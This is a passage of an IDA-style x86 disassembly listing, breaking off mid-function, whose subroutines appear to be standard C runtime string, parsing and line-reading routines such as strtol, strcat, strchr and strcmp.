; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C081	proc near		; CODE XREF: seg000:00403C9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B890
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C0BC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C0BC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C0B8
		push	2
		push	ebx
		push	esi
		call	sub_4200EE
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C0B8:				; CODE XREF: sub_41C081+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C0C6
; ---------------------------------------------------------------------------


loc_41C0BC:				; CODE XREF: sub_41C081+18j
					; sub_41C081+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C0C6
		and	byte ptr [eax],	0


loc_41C0C6:				; CODE XREF: sub_41C081+39j
					; sub_41C081+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C13E


loc_41C0D9:				; CODE XREF: sub_41C081+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	ds:byte_4E2A61[edx], 4
		jz	short loc_41C0EA
		inc	eax
		jmp	short loc_41C104
; ---------------------------------------------------------------------------


loc_41C0EA:				; CODE XREF: sub_41C081+64j
		cmp	cl, 2Fh
		jz	short loc_41C0FE
		cmp	cl, 5Ch
		jz	short loc_41C0FE
		cmp	cl, 2Eh
		jnz	short loc_41C104
		mov	[ebp+var_4], eax
		jmp	short loc_41C104
; ---------------------------------------------------------------------------


loc_41C0FE:				; CODE XREF: sub_41C081+6Cj
					; sub_41C081+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C104:				; CODE XREF: sub_41C081+67j
					; sub_41C081+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C0D9
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C13E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C139
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C122
		mov	edi, esi


loc_41C122:				; CODE XREF: sub_41C081+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_4200EE
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C139:				; CODE XREF: sub_41C081+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C148
; ---------------------------------------------------------------------------


loc_41C13E:				; CODE XREF: sub_41C081+56j
					; sub_41C081+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C148
		and	byte ptr [ecx],	0


loc_41C148:				; CODE XREF: sub_41C081+BBj
					; sub_41C081+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C19B
		cmp	edi, ebx
		jb	short loc_41C19B
		cmp	[ebp+arg_C], 0
		jz	short loc_41C178
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C161
		mov	edi, esi


loc_41C161:				; CODE XREF: sub_41C081+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4200EE
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C178:				; CODE XREF: sub_41C081+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C1C3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C188
		mov	esi, eax


loc_41C188:				; CODE XREF: sub_41C081+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_4200EE
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C1C3
; ---------------------------------------------------------------------------


loc_41C19B:				; CODE XREF: sub_41C081+CCj
					; sub_41C081+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C1B9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C1AA
		mov	esi, eax


loc_41C1AA:				; CODE XREF: sub_41C081+125j
		push	esi
		push	ebx
		push	edi
		call	sub_4200EE
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C1B9:				; CODE XREF: sub_41C081+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C1C3
		and	byte ptr [eax],	0


loc_41C1C3:				; CODE XREF: sub_41C081+FCj
					; sub_41C081+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C1D0	proc near		; CODE XREF: sub_401A09+8p
					; seg000:00401B7Cp ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C1F0


loc_41C1DC:				; CODE XREF: sub_41C1D0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C1DC


loc_41C1F0:				; CODE XREF: sub_41C1D0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C1D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1FF	proc near		; CODE XREF: seg000:00408F88p
					; seg000:00408FB7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C213
		xor	eax, eax
		jmp	short loc_41C249
; ---------------------------------------------------------------------------


loc_41C213:				; CODE XREF: sub_41C1FF+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C243
		mov	esi, [ebp+arg_8]


loc_41C21C:				; CODE XREF: sub_41C1FF+42j
		dec	dword ptr [esi+4]
		js	short loc_41C22B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C232
; ---------------------------------------------------------------------------


loc_41C22B:				; CODE XREF: sub_41C1FF+20j
		push	esi
		call	sub_41EEA8
		pop	ecx


loc_41C232:				; CODE XREF: sub_41C1FF+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C24D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C243
		dec	[ebp+arg_4]
		jnz	short loc_41C21C


loc_41C243:				; CODE XREF: sub_41C1FF+18j
					; sub_41C1FF+3Dj ...
		and	byte ptr [edi],	0


loc_41C246:				; CODE XREF: sub_41C1FF+55j
		mov	eax, ebx
		pop	esi


loc_41C249:				; CODE XREF: sub_41C1FF+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C24D:				; CODE XREF: sub_41C1FF+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C243
		xor	ebx, ebx
		jmp	short loc_41C246
sub_41C1FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C256	proc near		; CODE XREF: sub_41C45E+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C26E:				; CODE XREF: sub_41C256+46j
		cmp	ds:dword_44276C, 1
		jle	short loc_41C286
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41C295
; ---------------------------------------------------------------------------


loc_41C286:				; CODE XREF: sub_41C256+1Fj
		mov	ecx, ds:off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C295:				; CODE XREF: sub_41C256+2Ej
		test	eax, eax
		jz	short loc_41C29E
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C26E
; ---------------------------------------------------------------------------


loc_41C29E:				; CODE XREF: sub_41C256+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C2AC
		or	[ebp+arg_C], 2
		jmp	short loc_41C2B1
; ---------------------------------------------------------------------------


loc_41C2AC:				; CODE XREF: sub_41C256+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C2B7


loc_41C2B1:				; CODE XREF: sub_41C256+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C2B7:				; CODE XREF: sub_41C256+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C44E
		cmp	eax, 1
		jz	loc_41C44E
		cmp	eax, 24h
		jg	loc_41C44E
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C2FF
		cmp	bl, 30h
		jz	short loc_41C2E9
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C31B
; ---------------------------------------------------------------------------


loc_41C2E9:				; CODE XREF: sub_41C256+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C2FC
		cmp	al, 58h
		jz	short loc_41C2FC
		mov	[ebp+arg_8], 8
		jmp	short loc_41C31B
; ---------------------------------------------------------------------------


loc_41C2FC:				; CODE XREF: sub_41C256+97j
					; sub_41C256+9Bj
		mov	[ebp+arg_8], ecx


loc_41C2FF:				; CODE XREF: sub_41C256+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C31B
		cmp	bl, 30h
		jnz	short loc_41C31B
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C313
		cmp	al, 58h
		jnz	short loc_41C31B


loc_41C313:				; CODE XREF: sub_41C256+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C31B:				; CODE XREF: sub_41C256+91j
					; sub_41C256+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C32B:				; CODE XREF: sub_41C256+16Cj
		cmp	ds:dword_44276C, 1
		movzx	esi, bl
		jle	short loc_41C343
		push	4
		push	esi
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41C34E
; ---------------------------------------------------------------------------


loc_41C343:				; CODE XREF: sub_41C256+DFj
		mov	eax, ds:off_442560
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C34E:				; CODE XREF: sub_41C256+EBj
		test	eax, eax
		jz	short loc_41C35A
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C38C
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C256+FAj
		cmp	ds:dword_44276C, 1
		jle	short loc_41C36E
		push	edi
		push	esi
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41C379
; ---------------------------------------------------------------------------


loc_41C36E:				; CODE XREF: sub_41C256+10Bj
		mov	eax, ds:off_442560
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C379:				; CODE XREF: sub_41C256+116j
		test	eax, eax
		jz	short loc_41C3C7
		movsx	eax, bl
		push	eax
		call	sub_420178
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C38C:				; CODE XREF: sub_41C256+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C3C7
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C3B1
		jnz	short loc_41C3AB
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C3B1


loc_41C3AB:				; CODE XREF: sub_41C256+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------


loc_41C3B1:				; CODE XREF: sub_41C256+145j
					; sub_41C256+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C3BA:				; CODE XREF: sub_41C256+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C32B
; ---------------------------------------------------------------------------


loc_41C3C7:				; CODE XREF: sub_41C256+125j
					; sub_41C256+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C3E5
		test	edx, edx
		jz	short loc_41C3DF
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C3DF:				; CODE XREF: sub_41C256+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C432
; ---------------------------------------------------------------------------


loc_41C3E5:				; CODE XREF: sub_41C256+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C40B
		test	cl, 1
		jnz	short loc_41C432
		and	ecx, 2
		jz	short loc_41C402
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C40B


loc_41C402:				; CODE XREF: sub_41C256+1A1j
		test	ecx, ecx
		jnz	short loc_41C432
		cmp	[ebp+var_8], eax
		jbe	short loc_41C432


loc_41C40B:				; CODE XREF: sub_41C256+197j
					; sub_41C256+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	ds:dword_4E14F8, 22h
		jz	short loc_41C421
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C432
; ---------------------------------------------------------------------------


loc_41C421:				; CODE XREF: sub_41C256+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C432:				; CODE XREF: sub_41C256+18Dj
					; sub_41C256+19Cj ...
		test	edx, edx
		jz	short loc_41C43B
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C43B:				; CODE XREF: sub_41C256+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C449
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C449:				; CODE XREF: sub_41C256+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C459
; ---------------------------------------------------------------------------


loc_41C44E:				; CODE XREF: sub_41C256+66j
					; sub_41C256+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C457
		mov	[eax], edi


loc_41C457:				; CODE XREF: sub_41C256+1FDj
		xor	eax, eax


loc_41C459:				; CODE XREF: sub_41C256+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C256	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C45E	proc near		; CODE XREF: seg000:00407C28p
					; sub_40F168+4A0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C256
		add	esp, 10h
		retn
sub_41C45E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C475	proc near		; CODE XREF: seg000:004073E3p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 0B00000h
		pop	ebp
		test	eax, eax
		jnz	short loc_41C48B
		call	ds:dword_42708C	; RtlGetLastWin32Error
		jmp	short loc_41C48D
; ---------------------------------------------------------------------------


loc_41C48B:				; CODE XREF: sub_41C475+Cj
		xor	eax, eax


loc_41C48D:				; CODE XREF: sub_41C475+14j
		test	eax, eax
		jz	short loc_41C49C
		push	eax
		call	sub_420244
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C49C:				; CODE XREF: sub_41C475+1Aj
		xor	eax, eax
		retn
sub_41C475	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C49F	proc near		; CODE XREF: seg000:00407338p
					; seg000:004122A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4202AB
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F504
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420338
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C49F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C4E0	proc near		; CODE XREF: seg000:0040394Fp
					; seg000:0040396Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C501
		xor	eax, eax
		jmp	short loc_41C503
; ---------------------------------------------------------------------------


loc_41C501:				; CODE XREF: sub_41C4E0+1Bj
		mov	eax, edi


loc_41C503:				; CODE XREF: sub_41C4E0+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C4E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C510	proc near		; CODE XREF: seg000:00402372p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C541
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C53F
		jz	short loc_41C541
		dec	ecx
		dec	ecx


loc_41C53F:				; CODE XREF: sub_41C510+29j
		not	ecx


loc_41C541:				; CODE XREF: sub_41C510+9j
					; sub_41C510+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C550	proc near		; CODE XREF: seg000:00401F49p
					; seg000:00404B17p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C5C1
sub_41C550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C560	proc near		; CODE XREF: seg000:00401F55p
					; seg000:00409016p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C57C


loc_41C56D:				; CODE XREF: sub_41C560+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C5AF
		test	ecx, 3
		jnz	short loc_41C56D


loc_41C57C:				; CODE XREF: sub_41C560+Bj
					; sub_41C560+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C57C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C5BE
		test	ah, ah
		jz	short loc_41C5B9
		test	eax, 0FF0000h
		jz	short loc_41C5B4
		test	eax, 0FF000000h
		jz	short loc_41C5AF
		jmp	short loc_41C57C
; ---------------------------------------------------------------------------


loc_41C5AF:				; CODE XREF: sub_41C560+12j
					; sub_41C560+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C5C1
; ---------------------------------------------------------------------------


loc_41C5B4:				; CODE XREF: sub_41C560+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C5C1
; ---------------------------------------------------------------------------


loc_41C5B9:				; CODE XREF: sub_41C560+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C5C1
; ---------------------------------------------------------------------------


loc_41C5BE:				; CODE XREF: sub_41C560+39j
		lea	edi, [ecx-4]


loc_41C5C1:				; CODE XREF: sub_41C550+5j
					; sub_41C560+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C5E6


loc_41C5CD:				; CODE XREF: sub_41C560+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C638
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C5CD
		jmp	short loc_41C5E6
; ---------------------------------------------------------------------------


loc_41C5E1:				; CODE XREF: sub_41C560+9Ej
					; sub_41C560+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C5E6:				; CODE XREF: sub_41C560+6Bj
					; sub_41C560+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C5E1
		test	dl, dl
		jz	short loc_41C638
		test	dh, dh
		jz	short loc_41C62F
		test	edx, 0FF0000h
		jz	short loc_41C622
		test	edx, 0FF000000h
		jz	short loc_41C61A
		jmp	short loc_41C5E1
; ---------------------------------------------------------------------------


loc_41C61A:				; CODE XREF: sub_41C560+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C622:				; CODE XREF: sub_41C560+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C62F:				; CODE XREF: sub_41C560+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C638:				; CODE XREF: sub_41C560+72j
					; sub_41C560+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C560	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C650


loc_41C640:				; CODE XREF: sub_41C650+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C650
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C650	proc near		; CODE XREF: seg000:00401F33p
					; seg000:00401FC9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C640 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C656:				; CODE XREF: sub_41BFB0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C67B


loc_41C668:				; CODE XREF: sub_41C650+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C640
		test	cl, cl
		jz	short loc_41C6C4
		test	edx, 3
		jnz	short loc_41C668


loc_41C67B:				; CODE XREF: sub_41C650+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C686:				; CODE XREF: sub_41C650+61j
					; sub_41C650+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C6C8
		and	eax, 81010100h
		jz	short loc_41C686
		and	eax, 1010100h
		jnz	short loc_41C6C2
		and	esi, 80000000h
		jnz	short loc_41C686


loc_41C6C2:				; CODE XREF: sub_41C650+68j
					; sub_41C650+81j ...
		pop	esi
		pop	edi


loc_41C6C4:				; CODE XREF: sub_41C650+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C6C8:				; CODE XREF: sub_41C650+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C705
		test	al, al
		jz	short loc_41C6C2
		cmp	ah, bl
		jz	short loc_41C6FE
		test	ah, ah
		jz	short loc_41C6C2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C6F7
		test	al, al
		jz	short loc_41C6C2
		cmp	ah, bl
		jz	short loc_41C6F0
		test	ah, ah
		jz	short loc_41C6C2
		jmp	short loc_41C686
; ---------------------------------------------------------------------------


loc_41C6F0:				; CODE XREF: sub_41C650+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C6F7:				; CODE XREF: sub_41C650+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C6FE:				; CODE XREF: sub_41C650+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C705:				; CODE XREF: sub_41C650+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: seg000:00401D2Fp
					; seg000:00401D7Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C75C


loc_41C720:				; CODE XREF: sub_41C710+3Cj
					; sub_41C710+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C754
		or	al, al
		jz	short loc_41C750
		cmp	ah, [ecx+1]
		jnz	short loc_41C754
		or	ah, ah
		jz	short loc_41C750
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C754
		or	al, al
		jz	short loc_41C750
		cmp	ah, [ecx+3]
		jnz	short loc_41C754
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C720
		mov	edi, edi


loc_41C750:				; CODE XREF: sub_41C710+18j
					; sub_41C710+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C754:				; CODE XREF: sub_41C710+14j
					; sub_41C710+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C75C:				; CODE XREF: sub_41C710+Ej
		test	edx, 1
		jz	short loc_41C778
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C754
		inc	ecx
		or	al, al
		jz	short loc_41C750
		test	edx, 2
		jz	short loc_41C720


loc_41C778:				; CODE XREF: sub_41C710+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C754
		or	al, al
		jz	short loc_41C750
		cmp	ah, [ecx+1]
		jnz	short loc_41C754
		or	ah, ah
		jz	short loc_41C750
		add	ecx, 2
		jmp	short loc_41C720
sub_41C710	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C794	proc near		; CODE XREF: seg000:00401C29p
					; seg000:00401C49p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C7AD:				; CODE XREF: sub_41C794+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C7AD
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C7D5
		mov	edx, ds:dword_4E1544


loc_41C7D5:				; CODE XREF: sub_41C794+39j
					; sub_41C794+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C7F5
		test	al, al
		jz	short loc_41C7F5
		inc	edx
		jmp	short loc_41C7D5
; ---------------------------------------------------------------------------


loc_41C7F5:				; CODE XREF: sub_41C794+58j
					; sub_41C794+5Cj
		mov	ebx, edx


loc_41C7F7:				; CODE XREF: sub_41C794+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C81B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
